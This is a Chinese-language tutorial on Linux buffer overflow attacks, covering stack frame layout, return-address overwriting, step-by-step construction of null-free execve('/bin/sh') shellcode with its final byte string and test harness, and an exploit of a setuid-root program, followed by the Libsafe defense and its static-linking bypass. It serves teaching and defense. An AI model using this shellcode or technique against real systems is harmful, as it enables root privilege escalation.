    读者不妨回过头去与图4对比一下。这里有几点需要说明。首先,在Intel i386体系结构下,堆栈帧指针的角色是由ebp扮演的,而栈顶指针的角色是由esp扮演的。另外,函数function的局部变量buffer[14] 由14个字符组成,其大小按说应为14字节,但是在堆栈帧中却为其分配了16个字节。这是时间效率和空间效率之间的一种折衷,因为Intel i386是32位的处理器,其每次内存访问都必须是4字节对齐的,而高30位地址相同的4个字节就构成了一个机器字。因此,如果为了填补 buffer[14]留下的两个字节而将sum分配在两个不同的机器字中,那么每次访问sum就需要两次内存操作,这显然是无法接受的。还有一点需要说明 的是,正如我们在本文前言中所指出的,如果读者使用的是较高版本的gcc的话,您所看到的函数function对应的堆栈帧可能和图7所示有所不同。上面 已经讲过,为函数function的局部变量buffer[14]和sum在堆栈中分配空间是通过在图6中第11行对esp进行减法操作完成的,而sub 指令中的20正是这里两个局部变量所需的存储空间大小。但是在较高版本的gcc中,sub指令中出现的数字可能不是20,而是一个更大的数字。应该说这与 优化编译技术有关,在较高版本的gcc中为了有效运用目前流行的各种优化编译技术,通常需要在每个函数的堆栈帧中留出一定额外的空间。

    下面我们再来看一下在函数function中是如何将a、b、c的和赋给sum的。前面已经提过,在函数中访问实参和局部变量时都是以 堆栈帧指针为基址,再加上一个偏移,而Intel i386体系结构下的堆栈帧指针就是ebp,为了清楚起见,我们在图7中标出了堆栈帧中所有成分相对于堆栈帧指针ebp的偏移。这下图6中12至16的计 算就一目了然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分别是实参a、b、c和局部变量sum的地址,几个简单的 add指令和mov指令执行后sum中便是a、b、c三者之和了。另外,在gcc编译生成的汇编程序中函数的返回结果是通过eax传递的,因此在图6中第 17行将sum的值拷贝到eax中。

    最后,我们再来看一下函数function执行完之后与其对应的堆栈帧是如何弹出堆栈的。图6中第21行的leave指令将堆栈帧指针 ebp拷贝到esp中,于是在堆栈帧中为局部变量buffer[14]和sum分配的空间就被释放了;除此之外,leave指令还有一个功能,就是从堆栈 中弹出一个机器字并将其存放到ebp中,这样ebp就被恢复为main函数的堆栈帧指针了。第22行的ret指令再次从堆栈中弹出一个机器字并将其存放到 指令指针eip中,这样控制就返回到了第36行main函数中的addl指令处。addl指令将栈顶指针esp加上12,于是当初调用函数 function之前压入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此,函数function的堆栈帧就被完全销毁了。前面刚刚提到过,在gcc编 译生成的汇编程序中通过eax传递函数的返回结果,因此图6中第38行将函数function的返回结果保存在了main函数的局部变量i中。


    Linux下缓冲区溢出攻击的原理

    明白了Linux下进程地址空间的布局以及堆栈帧的结构,我们再来看一个有趣的例子。


    图8 一个奇妙的程序example2.c
    1 int function(int a, int b, int c) {
    2 char buffer[14];
    3 int sum;
    4 int *ret;
    5
    6 ret = buffer + 20;
    7 (*ret) += 10;
    8 sum = a + b + c;
    9 return sum;
    10 }
    11
    12 void main() {
    13 int x;
    14
    15 x = 0;
    16 function(1,2,3);
    17 x = 1;
    18 printf("%d\\n",x);
    19 }

    在main函数中,局部变量x的初值首先被赋为0,然后调用与x毫无关系的function函数,最后将x的值改为1并打印出来。结果 是多少呢,如果我告诉你是0你相信吗?闲话少说,还是赶快来看看函数function都动了哪些手脚吧。这里的function函数与图5中的 function相比只是多了一个指针变量ret以及两条对ret进行操作的语句,就是它们使得main函数最后打印的结果变成了0。对照图7可知,地址 buffer + 20处保存的正是函数function的返回地址,第7行的语句将函数function的返回地址加了10。这样会达到什么效果呢?看一下main函数对 应的汇编程序就一目了然了。


    图9 example2.c中main函数对应的汇编程序
    $ gdb example2
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x804832c : push %ebp
    0x804832d : mov %esp,%ebp
    0x804832f : sub $0x4,%esp
    0x8048332 : movl $0x0,0xfffffffc(%ebp)
    0x8048339 : push $0x3
    0x804833b : push $0x2
    0x804833d : push $0x1
    0x804833f : call 0x80482f8
    0x8048344 : add $0xc,%esp
    0x8048347 : movl $0x1,0xfffffffc(%ebp)
    0x804834e : mov 0xfffffffc(%ebp),%eax
    0x8048351 : push %eax
    0x8048352 : push $0x80483b8
    0x8048357 : call 0x8048284
    0x804835c : add $0x8,%esp
    0x804835f : leave
    0x8048360 : ret
    0x8048361 : lea 0x0(%esi),%esi
    End of assembler dump.

    地址为0x804833f的call指令会将0x8048344压入堆栈作为函数function的返回地址,而图8中第7行语句的作 用就是将0x8048344加10从而变成了0x804834e。这么一改当函数function返回时地址为0x8048347的mov指令就被跳过 了,而这条mov指令的作用正是用来将x的值改为1。既然x的值没有改变,我们打印看到的结果就必然是其初值0了。

    当然,图8所示只是一个示例性的程序,通过修改保存在堆栈帧中的函数的返回地址,我们改变了程序正常的控制流。图8中程序的运行结果可 能会使很多读者感到新奇,但是如果函数的返回地址被修改为指向一段精心安排好的恶意代码,那时你又会做何感想呢?缓冲区溢出攻击正是利用了在某些体系结构 下函数的返回地址被保存在程序员可见的堆栈中这一缺陷,修改函数的返回地址,使得一段精心安排好的恶意代码在函数返回时得以执行,从而达到危害系统安全的 目的。

    说到缓冲区溢出就不能不提shellcode,shellcode读者已经在图1中见过了,其作用就是生成一个shell。下面我们就 来一步步看一下这段令人眼花缭乱的程序是如何得来的。首先要说明一下,Linux下的系统调用都是通过int $0x80中断实现的。在调用int $0x80之前,eax中保存了系统调用号,而系统调用的参数则保存在其它寄存器中。图10所示是直接利用系统调用实现的Hello World程序。


    图10 直接利用系统调用实现的Hello World程序hello.c
    #include 
    int errno;
    _syscall3(int, write, int, fd, char *, data, int, len);
    _syscall1(int, exit, int, status);
    _start()
    {
    write(0, "Hello world!\\n", 13);
    exit(0);
    }

    将其编译链接生成可执行程序hello:

    $ gcc -c hello.c
    $ ld hello.o -o hello
    $ ./hello
    Hello world!
    $ ls -l hello
    -rwxr-xr-x 1 wy os 1188 Sep 29 17:31 hello*

    有兴趣的读者可以将这个hello的大小和我们当初在第一节C语言课上学过的Hello World程序的大小比较一下,看看能不能用C语言写出更小的Hello World程序。图10中的_syscall3和_syscall1都是定义于/usr/include/asm/unistd.h中的宏,该文件中定义 了以__NR_开头的各种系统调用的所对应的系统调用号以及_syscall0到_syscall6六个宏,分别用于参数个数为0到6的系统调用。由此可 知,Linux系统中系统调用所允许的最大参数个数就是6个,比如mmap(2)。另外,仔细阅读syscall0到_syscall6六个宏的定义不难 发现,系统调用号是存放在寄存器eax中的,而系统调用可能会用到的6个参数依次存放在寄存器ebx、ecx、edx、esi、edi和ebp中。

    清楚了系统调用的使用规则,我先来看一下如何在Linux下生成一个shell。应该说这是非常简单的任务,使用execve(2)系 统调用即可,如图11所示。


    图11 shellcode.c在Linux下生成一个shell
    #include 
    int main()
    {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    _exit(0);
    }

    在shellcode.c中一共用到了两个系统调用,分别是execve(2)和_exit(2)。查看/usr/include /asm/unistd.h文件可以得知,与其相应的系统调用号__NR_execve和__NR_exit分别为11和1。按照前面刚刚讲过的系统调用 规则,在Linux下生成一个shell并结束退出需要以下步骤:

    • 在内存中存放一个以'\\0'结束的字符串"/bin/sh";
    • 将字符串"/bin/sh"的地址保存在内存中的某个机器字中,并且后面紧接一个值为0的机器字,这里相当于设置好了图11中 name[2]中的两个指针;
    • 将execve(2)的系统调用号11装入eax寄存器;
    • 将字符串"/bin/sh"的地址装入ebx寄存器;
    • 将第2步中设好的字符串"/bin/sh"的地址的地址装入ecx寄存器;
    • 将第2步中设好的值为0的机器字的地址装入edx寄存器;
    • 执行int $0x80,这里相当于调用execve(2);
    • 将_exit(2)的系统调用号1装入eax寄存器;
    • 将退出码0装入ebx寄存器;
    • 执行int $0x80,这里相当于调用_exit(2)。

    于是我们就得到了图12所示的汇编程序。


    图12 使用execve(2)和_exit(2)系统调用生成shell的汇编程序shellcodeasm.c
     
    1 void main()
    2 {
    3 __asm__("
    4 jmp 1f
    5 2: popl %esi
    6 movl %esi,0x8(%esi)
    7 movb $0x0,0x7(%esi)
    8 movl $0x0,0xc(%esi)
    9 movl $0xb,%eax
    10 movl %esi,%ebx
    11 leal 0x8(%esi),%ecx
    12 leal 0xc(%esi),%edx
    13 int $0x80
    14 movl $0x1, %eax
    15 movl $0x0, %ebx
    16 int $0x80
    17 1: call 2b
    18 .string \\"/bin/sh\\"
    19 ");
    20 }

    这里第4行的jmp指令和第17行的call指令使用的都是IP相对寻址方式,第14行至第16行对应于_exit(2)系统调用,由 于它比较简单,我们着重看一下调用execve(2)的过程。首先第4行的jmp指令执行之后控制就转移到了第17行的call指令处,在call指令的 执行过程中除了将控制转移到第5行的pop指令外,还会将其下一条指令的地址压入堆栈。然而由图12可知,call指令后面并没有后续的指令,而是存放了 字符串"/bin/sh",于是实际被压入堆栈的便成了字符串"/bin/sh"的地址。第5行的pop指令将刚刚压入堆栈的字符串地址弹出到esi寄存 器中。接下来的三条指令首先将esi中的字符串地址保存在字符串"/bin/sh"之后的机器字中,然后又在字符串"/bin/sh"的结尾补了个 '\\0',最后将0写入内存中合适的位置。第9行至第12行按图13所示正确设置好了寄存器eax、ebx、ecx和edx的值,在第13行就可以调用 execve(2)了。但是在编译shellcodeasm.c之后,你会发现程序无法运行。原因就在于图13中所示的所有数据都存放在代码段中,而在 Linux下存放代码的页面是不可写的,于是当我们试图使用图12中第6行的mov指令进行写操作时,页面异常处理程序会向运行我们程序的进程发送一个 SIGSEGV信号,这样我们的终端上便会出现Segmentation fault的提示信息。


    图13调用execve(2)之前各寄存器的设置
     

    解决的办法很简单,既然不能对代码段进行写操作,我们就把图12中的代码挪到可写的数据段或堆栈段中。可是一段可执行的代码在数据段中 应该怎么表示呢?其实,内存中存放着的无非是0和1这样的比特,当我们的程序将其用作代码时这些比特就成了代码,而当我们的程序将其用作数据时这些比特又 成了数据。我们先来看一下图12中的代码在内存中是如何存放的,通过gdb中的x命令可以很容易的做到这一点,如图14所示。


    图14 通过gdb中的x命令查看图12中的代码在内存中对应的数据
    $ gdb shellcodeasm
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x80482c4 : push %ebp
    0x80482c5 : mov %esp,%ebp
    0x80482c7 : jmp 0x80482f3
    0x80482c9 : pop %esi
    0x80482ca : mov %esi,0x8(%esi)
    0x80482cd : movb $0x0,0x7(%esi)
    0x80482d1 : movl $0x0,0xc(%esi)
    0x80482d8 : mov $0xb,%eax
    0x80482dd : mov %esi,%ebx
    0x80482df : lea 0x8(%esi),%ecx
    0x80482e2 : lea 0xc(%esi),%edx
    0x80482e5 : int $0x80
    0x80482e7 : mov $0x1,%eax
    0x80482ec : mov $0x0,%ebx
    0x80482f1 : int $0x80
    0x80482f3 : call 0x80482c9
    0x80482f8 : das
    0x80482f9 : bound %ebp,0x6e(%ecx)
    0x80482fc : das
    0x80482fd : jae 0x8048367
    0x80482ff : add %cl,%cl
    0x8048301 : ret
    0x8048302 : mov %esi,%esi
    End of assembler dump.
    (gdb) x /49xb 0x80482c7
    0x80482c7 : 0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc6 0x46
    0x80482cf : 0x07 0x00 0xc7 0x46 0x0c 0x00 0x00 0x00
    0x80482d7 : 0x00 0xb8 0x0b 0x00 0x00 0x00 0x89 0xf3
    0x80482df : 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x80
    0x80482e7 : 0xb8 0x01 0x00 0x00 0x00 0xbb 0x00 0x00
    0x80482ef : 0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff 0xff
    0x80482f7 : 0xff

    从jmp指令的起始地址0x80482c7到call指令的结束地址0x80482f8,一共49个字节。起始地址为 0x80482f8的8个字节的内存单元中实际存放的是字符串"/bin/sh",因此我们在那里看到了几条奇怪的指令。至此,我们的shellcode 已经初具雏形了,但是还有几处需要改进。首先,将来我们要通过strcpy(3)这种存在安全隐患的函数将上面的代码拷贝到某个内存缓冲区中,而 strcpy(3)在遇到内容为'\\0'的字节时就会停止拷贝。然而从图14中可以看到,我们的代码中有很多这样的'\\0'字节,因此需要将它们全部 去掉。另外,某些指令的长度可以缩减,以使得我们的shellcode更加精简。按照图15所列的改进方案,我们便得到了图16中最终的 shellcode。


    图15 shellcode的改进方案
    存在问题的指令          改进后的指令
    movb $0x0,0x7(%esi) xorl %eax,%eax
    molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
    movl %eax,0xc(%esi)
    movl $0xb,%eax movb $0xb,%al
    movl $0x1, %eax xorl %ebx,%ebx
    movl $0x0, %ebx movl %ebx,%eax
    inc %eax


    图16 最终的shellcode汇编程序shellcodeasm2.c
    void main()
    {
    __asm__("
    jmp 1f
    2: popl %esi
    movl %esi,0x8(%esi)
    xorl %eax,%eax
    movb %eax,0x7(%esi)
    movl %eax,0xc(%esi)
    movb $0xb,%al
    movl %esi,%ebx
    leal 0x8(%esi),%ecx
    leal 0xc(%esi),%edx
    int $0x80
    xorl %ebx,%ebx
    movl %ebx,%eax
    inc %eax
    int $0x80
    1: call 2b
    .string \\"/bin/sh\\"
    ");
    }

    同样,按照上面的方法再次查看内存中的shellcode代码,如图16所示。我们在图16中再次列出了图1 用到过的shellcode,有兴趣的读者不妨比较一下。


    图17 shellcode的来历
    $ gdb shellcodeasm2
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x80482c4 : push %ebp
    0x80482c5 : mov %esp,%ebp
    0x80482c7 : jmp 0x80482e8
    0x80482c9 : pop %esi
    0x80482ca : mov %esi,0x8(%esi)
    0x80482cd : xor %eax,%eax
    0x80482cf : mov %al,0x7(%esi)
    0x80482d2 : mov %eax,0xc(%esi)
    0x80482d5 : mov $0xb,%al
    0x80482d7 : mov %esi,%ebx
    0x80482d9 : lea 0x8(%esi),%ecx
    0x80482dc : lea 0xc(%esi),%edx
    0x80482df : int $0x80
    0x80482e1 : xor %ebx,%ebx
    0x80482e3 : mov %ebx,%eax
    0x80482e5 : inc %eax
    0x80482e6 : int $0x80
    0x80482e8 : call 0x80482c9
    0x80482ed : das
    0x80482ee : bound %ebp,0x6e(%ecx)
    0x80482f1 : das
    0x80482f2 : jae 0x804835c
    0x80482f4 : add %cl,%cl
    0x80482f6 : ret
    0x80482f7 : nop
    End of assembler dump.
    (gdb) x /38xb 0x80482c7
    0x80482c7 : 0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc0
    0x80482cf : 0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b
    0x80482d7 : 0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c
    0x80482df : 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd
    0x80482e7 : 0x80 0xe8 0xdc 0xff 0xff 0xff
    char shellcode[] =
    "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
    "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
    "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";

    我猜当你看到这里时一定也像我当初一样已经热血沸腾、迫不及待了吧?那就赶快来试一下吧。


    图18 通过程序testsc.c验证我们的shellcode
    char shellcode[] =
    "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
    "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
    "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
    void main()
    {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
    }

    将testsc.c编译成可执行程序,再运行testsc就可以看到shell了!

    $ gcc testsc.c -o testsc
    $ ./testsc
    bash$

    图19描绘了testsc.c程序所作的一切,相信有了前面那么长的铺垫,读者在看到图19时应该已经没有困难了。


    图19 程序testsc.c的控制流程
     

    下面我们该回头看看本文开头的那个Linux下缓冲区溢出攻击实例了。攻击程序exe.c利用了系统中存在漏洞的程序toto.c,通 过以下步骤向系统发动了一次缓冲区溢出攻击:

    • 通过命令行参数argv[2]得到toto.c程序中缓冲区buffer[96]的地址,并将该地址填充到 large_string[128]中;
    • 将我们已经准备好的shellcode拷贝到large_string[128]的开头;
    • 通过环境变量KIRIKA将我们的shellcode注射到buffer[96]中;
    • 当toto.c程序中的main函数返回时,buffer[96]中的shellcode得以运行;由于toto的属主为 root,并且具有setuid属性,因此我们得到的shell便具有了root权限。

    程序exe.c的控制流程与图19所示程序testsc.c的控制流程非常相似,唯一的不同在于这次我们的shellcode是寄宿在 toto运行时的堆栈里,而不是在数据段中。之所以不能再将shellcode放在数据段中是因为当我们在程序exe.c中调用execle(3) 运行toto时,进程整个地址空间的映射会根据toto程序头部的描述信息重新设置,而原来的地址空间中数据段的内容已经不能再访问了,因此在程序 exe.c中shellcode是通过环境变量来传递的。

    怎么样,是不是感觉传说中的黑客不再像你想象的那样神秘了?暂时不要妄下结论,在上面的缓冲区溢出攻击实例中,攻击程序exe之所以能 够准确的将shellcode注射到toto的buffer[96]中,关键在于我们在toto程序中打印出了buffer[96]在堆栈中的起始地址。 当然,在实际的系统中,不要指望有像toto这样家有丑事还自揭疮疤的事情发生。


    Linux下防御缓冲区溢出攻击的对策

    了解了缓冲区溢出攻击的原理,接下来要做的显然就是要找出克敌之道。这里,我们主要介绍一种非常简单但是又比较流行的方法 ――Libsafe。

    在标准C库中存在着很多像strcpy(3)这种用于处理字符串的函数,它们将一个字符串拷贝到另一个字符串中。对于何时停止拷贝,这 些函数通常只有一个判断标准,即是否遇上了'\\0'字符。然而这个唯一的标准显然是不够的。我们在上一节刚刚分析过的Linux下缓冲区溢出攻击实例正 是利用strcpy(3)对系统实施了攻击,而strcpy(3)的缺陷就在于在拷贝字符串时没有将目的字符串的大小这一因素考虑进来。像这样的函数还有 很多,比如strcat、gets、scanf、sprintf等等。统计数据表明,在已经发现的缓冲区溢出攻击案例中,肇事者多是这些函数。正是基于上 述事实,Avaya实验室推出了Libsafe。

    在现在的Linux系统中,程序链接时所使用的大多都是动态链接库。动态链接库本身就具有很多优点,比如在库升级之后,系统中原有的程 序既不需要重新编译也不需要重新链接就可以使用升级后的动态链接库继续运行。除此之外,Linux还为动态链接库的使用提供了很多灵活的手段,而预载 (preload)机制就是其中之一。在Linux下,预载机制是通过环境变量LD_PRELOAD的设置提供的。简单来说,如果系统中有多个不同的动态 链接库都实现了同一个函数,那么在链接时优先使用环境变量LD_PRELOAD中设置的动态链接库。这样一来,我们就可以利用Linux提供的预载机制将 上面提到的那些存在安全隐患的函数替换掉,而Libsafe正是基于这一思想实现的。

    图20所示的testlibsafe.c是一段非常简单的程序,字符串buf2[16]中首先被写满了'A',然后再通过 strcpy(3)将其拷贝到buf1[8]中。由于buf2[16]比buf1[8]要大,显然会发生缓冲区溢出,而且很容易想到,由于'A'的二进制 表示为0x41,所以main函数的返回地址被改为了0x41414141。这样当main返回时就会发生Segmentation fault。


    图20 测试Libsafe
    #include 
    void main()
    {
    char buf1[8];
    char buf2[16];
    int i;
    for (i = 0; i < 16; ++i)
    buf2[i] = 'A';
    strcpy(buf1, buf2);
    }

    $ gcc testlibsafe.c -o testlibsafe
    $ ./testlibsafe
    Segmentation fault (core dumped)

    下面我们就来看一看Libsafe是如何保护我们免遭缓冲区溢出攻击的。首先,在系统中安装Libsafe,本文的附件中提供了其 2.0版的安装包。

    $ su
    Password:
    # rpm -ivh libsafe-2.0-2.i386.rpm
    libsafe ##################################################
    # exit

    至此安装还没有结束,接下来还要正确设置环境变量LD_PRELOAD。

    $ export LD_PRELOAD=/lib/libsafe.so.2

    下面就可以来试试看了。

    $ ./testlibsafe
    Detected an attempt to write across stack boundary.
    Terminating /home2/wy/projects/overflow/bof/testlibsafe.
    uid=1011 euid=1011 pid=9481
    Call stack:
    0x40017721
    0x4001780a
    0x8048328
    0x400429c6
    Overflow caused by strcpy()

    可以看到,Libsafe正确检测到了由strcpy()函数导致的缓冲区溢出,其uid、euid和pid,以及进程运行时的 Call stack也被一并列出。另外,这些信息不光是在终端上显示,还会被记录到系统日志中,这样系统管理员就可以掌握潜在的攻击来源并及时加以防范。

    那么,有了Libsafe我们就可以高枕无忧了吗?千万不要有这种天真的想法,在计算机安全领域入侵与反入侵的较量永远都不会停止。其 实Libsafe为我们提供的保护可以被轻易的破坏掉。由于Libsafe的实现依赖于Linux系统为动态链接库所提供的预载机制,因此对于使用静态链 接库的具有缓冲区溢出漏洞的程序Libsafe也就无能为力了。

    $ gcc -static testlibsafe.c -o testlibsafe_static
    $ env | grep LD
    LD_PRELOAD=/lib/libsafe.so.2
    $ ./testlibsafe_static
    Segmentation fault (core dumped)

    如果在使用gcc编译时加上-static选项,那么链接时使用的便是静态链接库。在系统已经安装了Libsafe的情况下,可以看到 testlibsafe_static再次产生了Segmentation fault。

    另外,正如我们在本文前言中所指出的那样,如果读者使用的是较高版本的bash的话,那么即使您在运行攻击程序exe之后得到了一个新 的shell,您可能会发现并没有得到您所期望的root权限。其实这正是的高版本bash的改进之一。由于近十年来缓冲区溢出攻击屡见不鲜,而且大部分 的攻击对象都是系统中属主为root的setuid程序,以借此获得root权限。因此以root权限运行系统中的程序是十分危险的。为此,在新的 POSIX.1标准中增加了一个名为seteuid(2)的系统调用,其作用在于改变进程的effective uid。而新版本的bash也都纷纷采用了这一技术,在bash启动运行之初首先通过调用seteuid(getuid())将bash的运行权限恢复为 进程属主的权限,这样就出现了我们在高版本bash中运行攻击程序exe所看到的结果。那么高版本的bash就已经无懈可击了吗?其实不然,只要在通过 execve(2)创建shell之前先调用setuid(0)将进程的uid也改为0,bash的这一改进也就徒劳无功了。也就是说,你所要做的就是遵 照前面所讲的系统调用规则将setuid(0)加入到shellcode中,而新版shellocde的这一改进只需要很少的工作量。附件中的 shellcodeasm3.c和exe_pro.c告诉了你该如何去做。


    结束语

    安全有两种不同的表现形式,一种是如果你所使用的系统在安全上存在漏洞,但是黑客们对此一无所知,那么你可以暂且认为你的系统是安全 的;另一种是黑客和你都发现了系统中的安全漏洞,但是你会想方设法将漏洞弥补上,使你的系统真正无懈可击。你想要的是哪一种呢?圣经上的一句话给出了这个 问题的答案,而这句话也被刻在了美国中央情报局大厅的墙壁上:“你应当了解真相,真相会使你自由。”


    参考资料

    • Aleph One. Smashing The Stack For Fun And Profit. 

    • Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffer Overflow Study -- Attacks & Defenses.
    •  
    • Taeho Oh. Advanced buffer overflow exploit. 

    • 绿盟科技(nsfocus). NSFOCUS 2002年十大安全漏洞, 2002, http://www.nsfocus.net/index.php?act=sec_bug&do=top_ten 
    • 王卓威。基于系统行为模式的缓冲区溢出攻击检测技术。 

    • developerWorks上的 《使 您的软件运行起来:防止缓冲区溢出》为您列出了标准C库中所有存在安全隐患的函数以及对这些函数的使用建议。 

    • 毛德操,胡希明的《Linux内核源代码情景分析》向读者介绍了Linux下嵌入式汇编语言的语法。
    •  
    • W.Richard Stevens的《Advanced Programming in the UNIX Environment》为您详细介绍了uid和effective uid的概念以及setuid(2)和seteuid(2)等相关函数的用法。 

    • Joel Scambray, Stuart McClure, George Kurtz的《Hacking Exposed》向读者介绍了网络安全的方方面面,从而使读者对网络安全有更多的了解,知道如何去加强安全性。 

    • Intel. Intel Architecture Software Developer's Manual. Intel Corporation. 

    关于作者


    王勇,现在北京航空航天大学计算机学院系统软件实验室攻读计算机硕士学位,主要研究领域为操作系统及分布式文件系统。可 以通过yongwang@buaa.edu.cn与 他联系。


    http://blog.chinaunix.net/uid-21237130-id-159883.html


    展开全文
  • linux下动态库静态库编译

    千次阅读 2012-12-13 21:15:41
    linux下文件的类型是不依赖于其后缀名的,但一般来讲: .o,是目标文件,相当于windows中的.obj文件 .so 为共享库,是shared object,用于动态连接的,和dll差不多 .a为静态库,是好多个.o合在一起,用于静态连接 ....
  • Linux下静态库与动态库(.a、.so)

    千次阅读 2012-03-28 15:22:45
    首先讲一下error while loading shared libraries错误的解決方法 ./tests: error while loading shared libraries: xxx.so.0:cannot open shared ...那就表示系統不知道xxx.so 放在哪個目錄。 這個時候就要在
  •  本文主要讲解动态库函数的地址是如何在运行时被定位的。首先介绍一下PIC和Relocatable的动态的区别。然后讲解一下GOT和PLT的理论知识。GOT是Global Offset Table,是保存库函数地址的区域。程序运行时,库函数的...
  • Linux下动态库和静态库的制作及使用

    千次阅读 2016-12-23 11:53:00
    在实际的开发过程中,编写程序往往都需要依赖很多基础的底层,比方说平时用的较多的标准C,数学等等;我们会频繁的使用这些库里的函数,这些函数大多数都是前人为...本文主要简述Linux下库的制作以及使用方法。
  • 内核模块要么从函数init_module 或是你用宏module_init指定的函数调用开始。这就是内核模块 的入口函数。他告诉内核模块提供那些功能扩展并且让内核准备好在需要时调用他。当他完成这些后,该函数就执行结束了。模块...
  • 问题集合 ---- linux 静态库和动态库 ...==============================================================...linux静态库和动态库分析 本文转自 http://www.linuxeden.com/html/develop/20100326/94297.ht
  • C++全局变量的构造函数和析构函数执行一些main调用前的初始化工作和main调用后的清理工作。如果这种技巧使用得到,可以使代码更加简洁,但该技巧较为复杂,本文介绍一种使用该技巧的工厂模式和它在静态库中使用的...
  • 当项目中引入了一些第三方或者开源时,如果没有详细的文档说明,我们往往有种“盲人摸象”的感觉。如果只是简单的使用还好,但是这些代码需要被定制时,就需要深入阅读理解其实现。这个时候又往往有种“无从入手”...
  • 所以问题来了:如果我在共享中定义了全局变量,那 么全局变量是不是也只有一份?如果是这样,那么当多个进程都在使用这个共享的时候,就有问题了。比如:我们在共享中定义了一个全局变量 server_inited,用来...
  • 1. 生成方式 静态库: a
  • 程序员找工作的流程: ... 静态库 和共享库(动态库),静态库和共享库都是代码的归档文件。使用静态库时,把静态库的代码复制到目标文件中,导致目标文件比较大;使用共享库时,把函数的地址放到目标文件中。
  • dlopen 方式调用 Linux 的动态链接

    千次阅读 2015-08-02 09:49:22
    在dlopen()函数以指定模式打开指定的动态链接文件,并返回一个句柄给 dlsym()的调用进程。使用 dlclose()来卸载打开的。 /*功能:打开一个动态链接,并返回动态链接的句柄 包含头文件: #include ...
  • Linux内核学习总结 作者: 北京—小武 ... 新浪微博:北京-小武 ...Linux内核从产生到现在一直在不断被改进,现在就我最近对其学习内容和体会进行总结。学习所用书籍是美国Robert Love著的《linux
  • Linux写时拷贝技术(copy-on-write) 进程间是相互独立的,其实完全可以看成A、B两个进程各自有一份单独的liba.so和libb.so,相应的动态的代码段和数据段都是各个进程各自有一份的。 然后在这个基础上,由于...
  • 从本篇开始,基本上算是深入到了CI框架的内部,下面就让我们一步步去探索这个框架的实现、结构和设计。  Common.php文件定义了一系列的全局函数... CI框架全局函数库文件Common.php中所有全局函数的定义方式都为:
  • 这篇教程将讨论 Linux 库以及创建和使用 C/...这种方式也被称为“共享组件”或“静态库”,将多个编译后的目标代码文件打包成一个单独的文件称之为库。通常来说会将可以被多个应用程序共享的 C 函数或 C++ 类以及方法
  • 问题集合 ---- linux 静态库和动态库

    千次阅读 2012-09-28 14:31:27
    本文转自多网址,对作者表示感谢 ==================================...linux静态库和动态库分析 本文转自 http://www.linuxeden.com/html/develop/20100326/94297.html   1.什么是库  在wind
  • 10.函数库-静态库和共享库

    万次阅读 2016-10-22 23:05:13
    应用程序在链接静态库时是将所需的静态库函数嵌入至可执行文件中(并非全部静态库),而在链接共享库时它仅在可执行文件中保存加载目标对象所需的信息,真正调用时才将目标对象加载至内存。 1. 静态库由ar工具创建和...
  • Linux中的静态库共享库

    千次阅读 2008-04-12 21:54:00
    .a为静态库, 是好多个.o合在一起,用于静态连接 .la为libtool自动生成的一些共享库, vi编辑查看,主要记录了一些配置信息。可以用如下命令查看*.la文件的格式 $file *.la  *.la: ASCII English text 所以可以用vi来...
  •   在Linux下,可执行文件/动态文件/目标文件(可重定向文件)都是同一种文件格式,我们把它称之为ELF文件格式。   虽然它们三个都是ELF文件格式但都各有不同:   可执行文件没有section header table 。 ...
  • linux静态库和动态库编译及使用

    千次阅读 2014-10-28 13:36:27
    6.1 Linux静态库的命名规则 static library filename =  lib  +<library name> + .a 静态库文件名中间那一部分是库的实际名称,链接器需要使用这个名称来进行链接。 6.2 Linux动态库命名规则 ...
  • Linux下如何创建自己的函数库

    千次阅读 2012-07-02 14:24:29
    想建个函数库,把自己常用的一些函数包括进去,在使用时include一下就行了,应该怎么构建?另外,我看到常用的一些函数库,如math.h,里面只有一些函数的声明,那么执行部分在哪里?又是如何实现调用的?初学编程,...
  • Linux 动态同名函数处理原则

    千次阅读 2014-08-04 16:23:07
    问:有一个主执行程序main,其中实现了函数foo(),同时调用动态liba.so中的函数bar(),而动态liba.so中也实现了foo()函数,那么在执行的时候如果在bar()中调用foo()会调用到哪一个?在main()中调用呢?  ...
  • http://www.chinaunix.net 作者:蓝色键盘 发表于:2003-05-09 14:01:19 ... 另外静态库、动态库也是问的频率比较高的问题。在这里也做了总结。 ######大多数unix系统下面的调试器的使用方法如下:######
  • 另外静态库、动态库也是问的频率比较高的问题。在这里也做了总结。 ######大多数unix系统下面的调试器的使用方法如下:###### ***************gdb介绍********************* GNU 的调试

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 39,501
精华内容 15,800
关键字:

linux下静态库全局函数调用方式

linux 订阅